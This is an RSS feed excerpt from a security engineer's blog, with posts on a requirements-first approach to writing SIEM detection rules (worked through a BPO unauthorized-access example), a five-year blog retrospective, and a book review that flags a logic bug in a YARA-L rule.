ATT&amp;CK.”</span> July 9. <a href="https://lopes.id/log/mapping-detection-mitre-attack/">https://lopes.id/log/mapping-detection-mitre-attack/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <guid>https://lopes.id/log/mapping-detection-mitre-attack/</guid>
  <pubDate>Wed, 09 Jul 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/mapping-detection-mitre-attack/og-mapping-detection-mitre-attack.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Engineering Detection Rules</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/engineering-detection-rules/</link>
  <description><![CDATA[ 






<p>While working in a Threat Detection Engineering (TDE) team, I’ve observed a common practice: engineers often begin coding new detection rules immediately upon receiving a ticket. The critical documentation—including rule description, context, and taxonomy (often MITRE ATT&amp;CK mapping)—is frequently left to the final step before the rule is pushed to production.</p>
<p>Is this an optimal approach? I contend it is <em>not</em>. Drawing parallels from my software engineering (SWE) classes, I aim to demonstrate how a more structured, engineering-first methodology can lead to the creation of superior and more rapidly deployed detection rules.</p>
<section id="building-software-a-pre-coding-imperative" class="level2">
<h2 class="anchored" data-anchor-id="building-software-a-pre-coding-imperative">Building Software: A Pre-Coding Imperative</h2>
<p>In the realm of software engineering, when an engineer receives a request for new software, the initial phase is dedicated to deeply understanding the problem. As highlighted in “Software Engineering, 10th Edition by Ian Sommerville,” this involves specifying <strong>requirements</strong> to grasp <em>what</em> needs to be built, <em>why</em> it’s necessary, and <em>who</em> will use it.</p>
<p>Once functional and non-functional requirements are clearly defined, the engineer <strong>assesses</strong> their alignment with the team’s overarching scope and strategy. If alignment is confirmed, the process transitions to the <strong>design</strong> phase. Here, architectural patterns, data models, interfaces, and algorithms are conceptualized and meticulously documented, serving as a comprehensive blueprint for subsequent implementation.</p>
<p>A crucial aspect of the design phase is leveraging existing solutions. Engineers actively seek out and utilize design patterns, libraries, frameworks, and other pre-existing components. This strategic reuse not only accelerates development but also enhances safety, as these components are typically well-tested and validated, assuming adherence to good software practices.</p>
</section>
<section id="building-a-detection-rule-a-methodical-path" class="level2">
<h2 class="anchored" data-anchor-id="building-a-detection-rule-a-methodical-path">Building a Detection Rule: A Methodical Path</h2>
<p>Applying this same methodology to the creation of a detection rule, a TDE engineer would begin by scrutinizing the <strong>requirements</strong> specified in the incoming ticket. This involves clearly articulating the detection requirements, detailing precisely what is expected to be detected and identifying potential sources of false positives. This specification would also encompass any prerequisites for log ingestion or monitoring, such as the deployment of EDR agents, the integration of IDS/IPS devices into the network, or the centralization of logs within a SIEM.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>In my experience, clients frequently ask the TDE team to create <em>specific rules</em>, even outlining multiple rules they deem necessary within a single request. This approach is often suboptimal because existing rules might already cover the requested detection, the request may not align with the team’s strategic focus, or the proposed rules might need to be split or consolidated for better efficacy. Consequently, a request for five rules could, for instance, result in seven rules, two rules, or even no new rules at all.</p>
<p>To foster a more effective process, TDE teams should ideally engage with a limited, pre-defined list of <strong>authorized requesting teams</strong>. Furthermore, all such requests should be framed as <strong>use cases</strong>, potentially including rule <em>suggestions</em> if the requestor has specific ideas. A use case, in this context, consists of a <strong>problem statement with relevant context</strong>, followed by a description of the <strong>expected detection outcome</strong>.</p>
</div>
</div>
<p>Armed with such a detailed list, it becomes possible to understand whether the proposed use case aligns with the team’s strategic objectives and if all essential prerequisites for rule construction are met. A clear misalignment with strategy would warrant dropping the request, while a failure to meet fundamental requirements—like the absence of necessary logs in a SIEM—would necessitate sub-requests, leading to either a delay or abandonment of the rule creation.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>Detective controls, the domain where Detection Engineering teams primarily operate, are <em>complementary</em> to preventative controls, not a replacement for them. The best strategy invariably combines both prevention and detection. It’s also important to understand they are not mutually exclusive; a detective control can often monitor a preventative control to highlight suspicious activity. For example, one could monitor if an EDR is triggering an excessive number of blocks for a given user or device, which could indicate a possible compromise.</p>
<p>The requirement elicitation phase must involve analyzing existing preventative controls for the use case. This ensures new detection rules avoid redundancy and precisely target actual security gaps. Any gap in preventative controls must be highlighted, as they could be <em>blockers</em> for creating new rules.</p>
</div>
</div>
<p>Assuming development is approved to proceed, the engineer enters the <strong>design phase</strong>. This involves crafting a one-paragraph clear statement for each mapped rule, outlining its purpose and providing comprehensive context. Here, the company’s unique operational idiosyncrasies must be considered, and the rule’s goals must be explicitly articulated. Finally, with this foundational documentation in hand, the new rule must be appropriately categorized using the MITRE ATT&amp;CK taxonomy, specifying relevant tactics and techniques.</p>
<p>This foundational documentation serves a vital purpose: it empowers the engineer to efficiently <strong>search public repositories</strong> for existing rules that align with the defined goals. The MITRE ATT&amp;CK taxonomy proves particularly useful here, acting as effective keywords for targeted searches. Even if a rule precisely monitoring the exact TTP within the exact context isn’t readily available, similar rules can often be adapted with minimal effort.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Having the rule context and the related MITRE ATT&amp;CK tactics and techniques makes it trivial to query well-known public resources, such as <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> itself, <a href="https://github.com/SigmaHQ/sigma">Sigma</a>, <a href="https://github.com/elastic/detection-rules">Elastic</a>, and <a href="https://research.splunk.com/detections/">Splunk</a>. Projects like <a href="https://rulehound.com/rules">Rulehound</a> effectively aggregate many of these, providing invaluable starting points for detection development. 🔍</p>
</div>
</div>
<p>A crucial note regarding MITRE ATT&amp;CK mapping is its inherent lack of “how-to” specifics, as procedures are not directly mapped within the matrix. As <a href="https://www.youtube.com/watch?v=bkfwMADar0M&amp;t=1062s">Katie Nickels demonstrated</a> years ago, an entire universe of context exists beneath each technique. This underscores why comprehensive context must invariably accompany ATT&amp;CK mapping.</p>
<p>MITRE ATT&amp;CK continues to evolve, offering detection ideas under each technique, including insights into data sources, data components, and the targets that should be monitored. Alongside publicly available rulesets, this provides an invaluable resource, enabling engineers to develop new rules without starting from scratch or reinventing the wheel.</p>
<p>The diagram below summarizes this process with some abstractions.</p>
<div class="cell" data-layout-align="default">
<div class="cell-output-display">
<div>
<p></p><figure class="figure"><p></p>
<div>
<pre class="mermaid mermaid-js">flowchart TD
    A[Detection Request] --&gt; B[Requirement Elicitation]
    B --&gt; C[Requirement Analysis]
    C --&gt; D{Strategy Aligned?}
    D -- No --&gt; E((Drop Request))
    D -- Yes --&gt; F{Prerequisites Satisfied?}
    F -- No --&gt; G[Prerequisites Engineering]
    G -- Achieved / Re-assess --&gt; F
    G -- Unachievable / Too Costly --&gt; E
    F -- Yes --&gt; H[Rule Design &amp; Documentation]
    H --&gt; I[Leverage Existing Solutions]
    I --&gt; J[Implement Rule Logic]
    J --&gt; K[Test &amp; Tune]
    K -- Refine --&gt; J
    K -- Approved --&gt; L[Peer Review]
    L -- Rework --&gt; J
    L -- Approved --&gt; M((Deploy Rule))
</pre>
</div>
<p></p></figure><p></p>
</div>
</div>
</div>
</section>
<section id="key-advantages-of-structured-detection-engineering" class="level2">
<h2 class="anchored" data-anchor-id="key-advantages-of-structured-detection-engineering">Key Advantages of Structured Detection Engineering</h2>
<p>One might be tempted to believe that an MVP-like approach—starting immediate log analysis to construct queries—would be faster. While this might suffice for scenarios where the team is highly familiar with the data source and use case, ultimately, the documentation and validation of the new rule will still be necessary. Conversely, leveraging existing, tested rules based on early documentation significantly accelerates the testing phase and instills greater confidence in the outcome.</p>
<p>Through such careful research and reuse in detection engineering, rules are inherently built upon solid references and robust documentation. This strong foundation grants incident response teams a enhanced level of confidence when handling alerts. Furthermore, when implemented consistently, this approach proactively identifies and mitigates false positives, thereby significantly reducing alert fatigue. 😎</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>Adopting a structured process that prioritizes engineering requirements, develops comprehensive documentation, and researches existing artifacts (rules and documents) can substantially reduce the time spent on data analysis (logs) and detection validation. The practice of reusing existing rules and leveraging established documentation is a hallmark of senior engineering and a demonstrably smart decision.</p>
<p>While this approach might initially appear to introduce unnecessary overhead, especially for simpler rules or those with which the team is highly proficient, it’s crucial to remember that every rule, before being moved to production, <em>must</em> be properly documented and thoroughly tested. Therefore, any time invested in documentation is inherently valuable. While researching artifacts might seem less critical for familiar logs and tools, it can still yield invaluable insights into novel telemetry or alternative monitoring approaches for a given data source. ✌️</p>
</section>
<section id="appendix-examples" class="level2">
<h2 class="anchored" data-anchor-id="appendix-examples">Appendix: Examples</h2>
<section id="use-case-example" class="level3">
<h3 class="anchored" data-anchor-id="use-case-example">Use Case Example</h3>
<section id="problem-statement-context" class="level4">
<h4 class="anchored" data-anchor-id="problem-statement-context">Problem Statement &amp; Context</h4>
<p>We are concerned about our third-party BPO personnel potentially accessing our corporate systems from locations other than their designated and secured BPO premises. Our contract with the BPO explicitly states that access should only occur from their controlled facilities to ensure data security and compliance. We are worried that if BPO employees access our systems from unsecured personal networks (e.g., home Wi-Fi), it could expose sensitive customer data or violate our agreements.</p>
</section>
<section id="expected-outcome" class="level4">
<h4 class="anchored" data-anchor-id="expected-outcome">Expected Outcome</h4>
<p>We need a way to know if any BPO user accounts are accessing our applications or data from IP addresses that are not part of their approved BPO office networks. The goal is to detect and ideally alert on such unauthorized access attempts or successful logins.</p>
</section>
</section>
<section id="requirements-elicitation-example" class="level3">
<h3 class="anchored" data-anchor-id="requirements-elicitation-example">Requirements Elicitation Example</h3>
<section id="requirements-for-unauthorized-bpo-access-detection" class="level4">
<h4 class="anchored" data-anchor-id="requirements-for-unauthorized-bpo-access-detection">Requirements for Unauthorized BPO Access Detection</h4>
<section id="i.-preparation" class="level5">
<h5 class="anchored" data-anchor-id="i.-preparation">I. Preparation</h5>
<ol type="1">
<li><strong>REQ1: Telemetry Availability &amp; Dimensioning:</strong> All necessary log sources and telemetry required for this detection use case (e.g., Okta System Logs, network flow data) must be confirmed as available and appropriately dimensioned (e.g., within SIEM license limits) in the central logging platform. This ensures all relevant data is accessible without unexpectedly exceeding license limits or requiring new ingestion pipelines.</li>
<li><strong>REQ2: Log Enrichment &amp; Normalization:</strong> Ingested logs relevant to this use case must be enriched with essential contextual information (e.g., geographical data based on source IP) and normalized for consistent field names (e.g., <code>user</code>, <code>source_ip</code>, <code>event_type</code>, <code>outcome</code>) within our SIEM.</li>
<li><strong>REQ3: Approved BPO IP Range Lookup List:</strong> A lookup list must be created and maintained in SIEM containing all approved public IP ranges or CIDR blocks for the BPO’s authorized premises.</li>
<li><strong>REQ4: BPO User Identification Lookup List:</strong> A lookup list must be created and maintained in SIEM to clearly identify user accounts belonging to the BPO (e.g., specific usernames, user groups, or naming conventions).</li>
</ol>
</section>
<section id="ii.-detection-rule-creation-false-positive-analysis" class="level5">
<h5 class="anchored" data-anchor-id="ii.-detection-rule-creation-false-positive-analysis">II. Detection Rule Creation &amp; False Positive Analysis</h5>
<ol start="5" type="1">
<li><strong>REQ5: Rule 1 - Initial Unauthorized Access Alert:</strong></li>
</ol>
<ul>
<li>A detection rule must be created to alert when a BPO user (from REQ4) successfully logs into the organization’s Okta instance from an IP address that is <em>not</em> present in the Approved BPO IP Range Lookup List (from REQ3).</li>
<li><em>Expected Outcome: Alerts on direct unauthorized access.</em></li>
<li><strong>Potential False Positives:</strong>
<ul>
<li><strong>BPO Network Changes:</strong> Unannounced or delayed updates to the BPO’s approved public IP ranges (REQ3).</li>
<li><strong>Authorized BPO Exception Access (if applicable):</strong> While the use case implies strict premises-only access, any rare, pre-authorized exceptions for specific BPO personnel (e.g., a manager accessing from a pre-approved remote device for an emergency) would trigger this.</li>
</ul></li>
<li><strong>Mitigation Considerations (Design Phase):</strong>
<ul>
<li>Establish a clear communication protocol and process for timely updates of BPO IP ranges, potentially automating data sync.</li>
<li>If exceptions are approved, design a separate, tightly controlled allowlist/policy specific to these limited scenarios, or ensure these generate high-priority alerts requiring manual review.</li>
</ul></li>
</ul>
<ol start="6" type="1">
<li><strong>REQ6: Rule 2 - Anomalous Geographic Access Alert:</strong></li>
</ol>
<ul>
<li>A secondary detection rule must be created to alert when a BPO user (from REQ4) successfully logs in from an approved BPO IP range (from REQ3), but the associated geographical location (from REQ2 enrichment) is significantly inconsistent with the known location of that specific BPO premise.</li>
<li>Scenario for 2 rules: Rule 1 catches obvious external access. Rule 2 addresses a more sophisticated scenario, perhaps involving VPN egress point compromise or misconfigured proxies at the BPO, where the IP appears authorized but the actual location is anomalous (e.g., BPO office is in São Paulo, Brazil, but the geolocated IP is from Curitiba, Brazil, or even from another country entirely). This helps catch subtle deviations even from seemingly legitimate source IPs.</li>
<li><strong>Potential False Positives:</strong>
<ul>
<li><strong>Geolocation Database Inaccuracies:</strong> The inherent limitations of commercial GeoIP databases may incorrectly map a legitimate BPO IP to an inaccurate or unexpectedly different geographical location.</li>
<li><strong>Legitimate BPO Network Routing Anomalies:</strong> The BPO’s internal network infrastructure or ISP routing could legitimately cause traffic to egress from a geographically distant point within their approved IP range.</li>
<li><strong>Proxy/CDN/Cloud Service Legitimate Use:</strong> If the BPO legitimately uses certain proxies, CDNs, or cloud services that cause their traffic to originate from a geographically diverse set of IPs, even if within an approved range.</li>
</ul></li>
<li><strong>Mitigation Considerations (Design Phase):</strong>
<ul>
<li>Test against known BPO IP addresses and their true locations to understand typical GeoIP discrepancies. Implement a threshold for “significant inconsistency” rather than a strict exact match.</li>
<li>Conduct initial baseline analysis of BPO traffic patterns and GeoIP results for legitimate logins. Establish a baseline of expected geographical deviations for approved IPs.</li>
<li>Requires careful allowlisting of specific services/IPs known to be legitimate, or close collaboration with the BPO’s network team to understand their egress points.</li>
</ul></li>
</ul>
</section>
<section id="iii.-alerting-documentation" class="level5">
<h5 class="anchored" data-anchor-id="iii.-alerting-documentation">III. Alerting &amp; Documentation</h5>
<ol start="7" type="1">
<li><strong>REQ7: SOC Alert Integration:</strong> Alerts generated by the detection rules must integrate with the SOC’s existing case management system and provide sufficient context for immediate investigation.</li>
<li><strong>REQ8: Rule Documentation:</strong> Each created rule must be thoroughly documented in SIEM, including its purpose, logic, relevant MITRE ATT&amp;CK mappings, known false positives, and recommended SOC response actions.</li>
</ol>
</section>
</section>
</section>
<section id="rule-context-example" class="level3">
<h3 class="anchored" data-anchor-id="rule-context-example">Rule Context Example</h3>
<p><strong>Rule 1: Initial Unauthorized Access Alert</strong> This rule serves as the primary line of defense against straightforward policy violations or potential account compromises. Its purpose is to immediately identify and alert on instances where a BPO user account successfully authenticates to the organization’s systems, but the originating IP address for that authentication does not belong to the list of pre-approved and designated BPO network ranges. The context for this rule is the strict policy requiring BPO personnel to access corporate assets exclusively from their secure premises. By focusing on direct access from explicitly unapproved external locations, this rule aims to catch the most obvious deviations from policy, signaling either a direct attempt to bypass security controls or a compromised BPO user account being leveraged from an untrusted network.</p>
<ul>
<li><code>TA0001</code> Initial Access: <code>T1078.004</code> Valid Accounts: Cloud Accounts</li>
<li><code>TA0003</code> Persistence: <code>T1078.004</code> Valid Accounts: Cloud Accounts</li>
<li><code>TA0005</code> Defense Evasion: <code>T1078.004</code> Valid Accounts: Cloud Accounts</li>
</ul>
<p><strong>Rule 2: Anomalous Geographic Access Alert</strong> This rule provides a more nuanced layer of detection, designed to catch more sophisticated or subtle forms of unauthorized access that might evade a simple IP allowlist. Even if a BPO user successfully authenticates from an IP address that appears to be within an approved BPO range, this rule examines the geographical context derived from that IP address. Its purpose is to alert if the actual geographical location associated with the originating IP is inconsistent with the known physical location of the specific BPO premise (e.g., an IP listed for the São Paulo office suddenly resolves to a city hundreds of kilometers away). This context is critical for identifying scenarios such as compromised VPN egress points, BPO internal network misconfigurations, or the use of sophisticated proxy services that route traffic through approved IP addresses but from an unexpected physical location, thus providing an additional security layer against more advanced policy breaches or potential compromises.</p>
<ul>
<li><code>TA0001</code> Initial Access: <code>T1078.004</code> Valid Accounts: Cloud Accounts, <code>T1133</code> External Remote Services</li>
<li><code>TA0003</code> Persistence: <code>T1078.004</code> Valid Accounts: Cloud Accounts, <code>T1133</code> External Remote Services</li>
<li><code>TA0005</code> Defense Evasion: <code>T1078.004</code> Valid Accounts: Cloud Accounts</li>
</ul>


</section>
</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Engineering {Detection} {Rules}},
  date = {2025-06-20},
  url = {https://lopes.id/log/engineering-detection-rules/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Engineering Detection Rules.”</span> June 20.
<a href="https://lopes.id/log/engineering-detection-rules/">https://lopes.id/log/engineering-detection-rules/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <category>dev</category>
  <guid>https://lopes.id/log/engineering-detection-rules/</guid>
  <pubDate>Fri, 20 Jun 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/engineering-detection-rules/og-engineering-detection-rules.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Five-Year Blog Anniversary</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/five-year-blog-anniversary/</link>
  <description><![CDATA[ 






<p>Five years ago, during the COVID-19 pandemic, I decided to start a new blog to share some thoughts and tutorials. As a dissident from the open-source community, I see knowledge sharing as a great way to contribute to others. Also, since I was starting my <a href="../../log/cissp-certification-journey/">CISSP journey</a>, maintaining a blog would help document my achievements for CPE purposes.</p>
<p>I had other blogs in the past (now deprecated), but this one is the most long-lived. So I decided to share some reflections on this journey. 💭</p>
<section id="ownership-and-stack" class="level2">
<h2 class="anchored" data-anchor-id="ownership-and-stack">Ownership and Stack</h2>
<p>One of the main reasons I started this blog was to work with different technologies and experiment with new things. Beyond the technical aspects, this decision also had a philosophical reason: <strong>I want to be the owner of my data</strong>.</p>
<p>When you rely on platforms like Medium or LinkedIn, you abstract away the infrastructure, but it comes at the cost of not fully owning your content—and eventually, you might lose it. Keeping ownership of the content I create gives me peace of mind that it will always be available on my own terms.</p>
<p>This idea aligns with the <a href="https://www.theverge.com/2023/10/23/23928550/posse-posting-activitypub-standard-twitter-tumblr-mastodon"><strong>POSSE</strong> concept</a>—Publish (on your) Own Site, Syndicate Elsewhere. The core idea is to keep your content on infrastructure you control, using a dedicated domain that you can reference from any platform.</p>
<p>Of course, this adds the burden of maintaining a stack that includes a domain, DNS, WAF, version control, CI/CD, and content creation tools—some optional, but all useful for automating and securing the process. Although it’s more complex, this “<strong>Blogging as Code</strong>” approach is a fun excuse to use some of the tools we (IT and security folks) study.</p>
<p>In a nutshell, my current stack includes:</p>
<ul>
<li>a custom domain—<code>lopes.id</code>;</li>
<li>DNS, web analytics, and WAF via <a href="https://www.cloudflare.com/">Cloudflare</a>;</li>
<li>version control and CI/CD with Git, <a href="https://github.com/lopes/">GitHub</a>, and <a href="https://github.com/features/actions">GitHub Actions</a>; and</li>
<li>a static site generator: <a href="https://www.getzola.org/">Zola</a>.</li>
</ul>
<p>I intentionally avoided complex blogging platforms like WordPress to make the final product safer and easier to maintain. With a static site, I can publish content similarly to how I used to work with <a href="https://www.latex-project.org/">LaTeX</a> 🦖: write in Markdown and let the site generator handle the formatting based on the theme. Simple and effective.</p>
</section>
<section id="reflections" class="level2">
<h2 class="anchored" data-anchor-id="reflections">Reflections</h2>
<p>Over the years, this blog has helped me improve my writing skills, including writing in English, since my native language is Brazilian Portuguese. 🇧🇷 Writing is a skill that must be practiced, and I remember how difficult it was to write down a thought when I started compared to now—just check the older posts. I’m far from perfect, but today it’s much easier for me to express myself in English. 🇺🇸</p>
<p>Writing is something you improve through consistent reading and practice. At work, when I have to write reports or guidelines, my writing is often praised by teammates for its clarity. Thanks to this blog, I’ve learned to summarize content, impressions, and ideas into concise texts that communicate effectively.</p>
<p>On the technical side, it’s been a lot of fun putting the tools together to deliver the content. I had to learn some CI/CD techniques to automate deployments from merges. I also adapted the <a href="https://www.gitkraken.com/learn/git/git-flow">Git Flow</a> workflow to manage branches, parallelize work, and protect the mainline. Working with Cloudflare’s DNS and WAF gave me a taste of what it’s like for SREs to keep systems running smoothly. As an Infosec engineer, this insight has improved how I interact with those teams.</p>
<p>At one point, I even <a href="../../log/burp-suite-website-hardening/">assessed my site with BURP Suite</a> to find and fix vulnerabilities. This kind of “full stack” exercise is great because you have a grasp on how to test, fix, and make strategic decisions while considering the side effects of each change.</p>
<p>Content-wise, I started with simple tutorials pulled directly from my personal notes. That worked well, and some of those posts (especially the Arch Linux 🐧 ones) are still among the most visited. However, I eventually realized that writing a new post takes time, and as a new father, I didn’t have much of that. So I decided to focus my efforts on my main field: <strong>Information Security</strong>.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>Since the AI/LLM 🤖 hype began, <a href="../../log/ai-seo-advice-gpt/">I’ve been experimenting with this technology</a>. From my very first tests back in 2023, I reached the same conclusion as some of the AI experts I follow: LLMs are great assistants, but their output always requires review. Since then, I’ve been using LLMs to help me review my texts for grammatical errors and to improve my written English.</p>
<p>That said, all posts here are written by me, reviewed with the help of an LLM, and then re-reviewed by me. As I’m using this technology to enhance my skills, it wouldn’t make sense to let it write content on my behalf. So rest assured—all the content here is human-made. 🙋🏻</p>
</div>
</div>
</section>
<section id="future" class="level2">
<h2 class="anchored" data-anchor-id="future">Future</h2>
<p>Blogging is a solitary and arguably old-school activity in a world dominated by streamers. 📺 I didn’t start this blog to become famous—my experience has shown that I’m often the most frequent reader of my own posts. Still, once in a while, a post I wrote long ago ends up being helpful to someone else, and that’s a nice <strong>bonus</strong>.</p>
<p>Sharing my perspective (whether technical or philosophical) forces me to organize my thoughts. Since I mostly write for my future self, I aim to be direct and as clear as possible.</p>
<p>Because I fully own my content (POSSE), I decide how it’s made available and use other platforms purely for distribution.</p>
<p>Despite the time and effort a blog requires to maintain, it’s absolutely worth it. Sharing knowledge is a meaningful way to contribute to others, and ultimately, it serves as a time capsule for yourself. Like a photo album, it’s nice to look back and remember what you were thinking at different points in time. It’s also great to compare who you are now to your past self and see how much you’ve grown.</p>
<p><strong>To my past self:</strong> thank you for your time! You saved me a lot of effort today, and I’ve learned a ton thanks to your dedication. <strong>To my future self:</strong> I hope I can keep doing this work to help you grow even more—to boldly go wherever I want to go. 🚀</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Five-Year {Blog} {Anniversary}},
  date = {2025-04-27},
  url = {https://lopes.id/log/five-year-blog-anniversary/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Five-Year Blog Anniversary.”</span> April 27.
<a href="https://lopes.id/log/five-year-blog-anniversary/">https://lopes.id/log/five-year-blog-anniversary/</a>.
</div></div></section></div> ]]></description>
  <category>random</category>
  <guid>https://lopes.id/log/five-year-blog-anniversary/</guid>
  <pubDate>Sun, 27 Apr 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/five-year-blog-anniversary/og-five-year-blog-anniversary.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Review: Automating Security Detection Engineering</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/review-automating-detection-engineering/</link>
  <description><![CDATA[ 






<p>After deprecating a <strong>Detection-as-Code</strong> implementation and contributing to a new one, I decided to gain formal insights into this field. I’ve always enjoyed programming and automation, but while there are plenty of resources on implementing CI/CD pipelines for software engineering (SWE), very few focus on Information Security use cases—more aligned with software reliability engineering (SRE).</p>
<p>When I discovered a newly released book on this topic, I automatically (pun intended) added it to my reading list. After finishing <a href="https://www.amazon.com/Automating-Security-Detection-Engineering-hands/dp/1837636419">Automating Security Detection Engineering</a>, I’m sharing my honest review along with some insights. 💭</p>
<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><strong>Automating Security Detection Engineering</strong> is a highly specialized book focused on designing and implementing a Detection-as-Code program. It covers the technologies involved in such a project, with a strong emphasis on the <em>how</em> rather than just the <em>what</em>.</p>
<p>The book is packed with examples and hands-on labs, all contributing to a broader goal: integrating tools to orchestrate the rule lifecycle—from creation to management. 🤖 Dennis Chow, the author, demonstrates a deep understanding of detection engineering and the many tools used in this field, including EDR, SIEM, IDS, and supporting technologies like GitHub and Terraform.</p>
<p>Readers can expect insights into automating key aspects of a detection engineer’s work and learning how to integrate various tools to achieve this. However, this is not an introductory book. The author assumes prior knowledge of detection engineering, IT infrastructure, and programming.</p>
<p>Although completing the labs isn’t mandatory, if you’re not accustomed to integrating tools via APIs, I highly recommend following them step by step. Doing so can significantly enhance your skills, make you a better engineer, and allow you to implement these solutions in your own work—ultimately making your life easier and your boss happier. 😎</p>
<p>This book, released in mid-2024, reflects the growing importance of automation in detection engineering. Reading it can help set your work apart.</p>
</section>
<section id="impressions" class="level2">
<h2 class="anchored" data-anchor-id="impressions">Impressions</h2>
<p>This book explores two areas I’ve been deeply invested in over the past few years: automation and detection engineering. Perhaps because of this, my expectations were quite high going in, and I felt a bit underwhelmed by the end.</p>
<p>Don’t get me wrong—this is a good book. However, it reads more like a collection of use cases the author has implemented, organized into a book format. I felt it lacked sufficient context, theory, and insights to effectively tie everything together. Let me explain. 🗣️</p>
<p>Dennis Chow’s writing style is very direct. He jumps straight into the technical details without offering much in the way of contextualization, such as diagrams or examples that illustrate how different tools and concepts interconnect on a broader level. I also felt that the number of tools covered was excessive, making it difficult to focus on the core concepts. Sometimes, less is more.</p>
<p>Had he spent more time refining the text—adding context, designing diagrams to illustrate the overarching system, and providing more didactic explanations for each lab—it would have elevated this book to an outstanding level.</p>
<p>Despite its shortcomings, this book is a must-read for detection engineering teams seeking greater maturity and scalability. Security teams don’t scale at the same rate as business growth or the expanding attack surface, making automation crucial. This book offers valuable scenarios and insights that can be adapted to your organization.</p>
<p>Personally, I already have a Detection-as-Code implementation at work, and I was looking for ways to improve it—especially in the area of testing rules in a CI/CD pipeline. This book provided me with exactly that. The examples and ideas presented helped me rethink testing strategies, which will undoubtedly enhance our system.</p>
<p>Since the book covers a wide range of tools and is relatively new, some bugs in the code are to be expected. However, I feel the book was rushed to publication. That wouldn’t be a major issue, but some of the downsides (including a bug in an example from Chapter 2—see below) could have been caught with more time for writing and review.</p>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom Line</h2>
<p><strong>Automating Security Detection Engineering</strong> is a must-read for detection engineers with at least a solid programming background. As the only book I’m aware of that specifically covers automation in this field, it’s essential for teams looking to level up.</p>
<p>While I’ve criticized the apparent rush to publish (resulting in a lack of context and use cases) and the excessive number of tools presented, I still found it to be a very good book. My high expectations may have influenced my view, but sometimes, instead of just showing <em>how</em> to do something (since the <em>how</em> depends on your tech stack), it’s more valuable to discuss real-world scenarios with a few well-chosen examples and labs.</p>
<p>Despite its flaws, the book’s strengths outweigh them. The insights and inspiration it provides (especially in Part II) make it worth reading. It’s a short, straightforward book that deserves your attention. ✌️</p>
</section>
<section id="bug" class="level2">
<h2 class="anchored" data-anchor-id="bug">Bug</h2>
<p>In Lab 2.5, you’ll find the following YARA-L code (see the full code <a href="https://github.com/PacktPublishing/Automating-Security-Detection-Engineering/blob/main/chapter-02/lab-2.5/rule_multiple_connections_ru_cti.yar.yml">here</a>). According to the book:</p>
<blockquote class="blockquote">
<p>“<em>…at least two distinct hostnames… [are required to make this rule trigger].</em>”</p>
</blockquote>
<p>However, this isn’t accurate. Since the hostname is locked in the match section, <code>$hostname</code> remains the same within event aggregation. This causes the <code>count_distinct()</code> function to always return <code>1</code>, preventing the rule from triggering. A potential fix would be to use <code>count_distinct($e.metadata.id)</code>.</p>
<p>I considered submitting a PR, but since many older PRs are still waiting for review and merge, I decided against it.</p>
<p>```c rule rule_multiple_connections_ru_cti { … $e.target.hostname = $hostname … $ioc.graph.entity.hostname = $hostname match: $hostname over 15m outcome: $risk_score = 10 <img src="https://latex.codecogs.com/png.latex?event_count%20=%20count_distinct(">hostname) condition: ($ioc and $e) and $event_count &gt;=2 }</p>


</section>

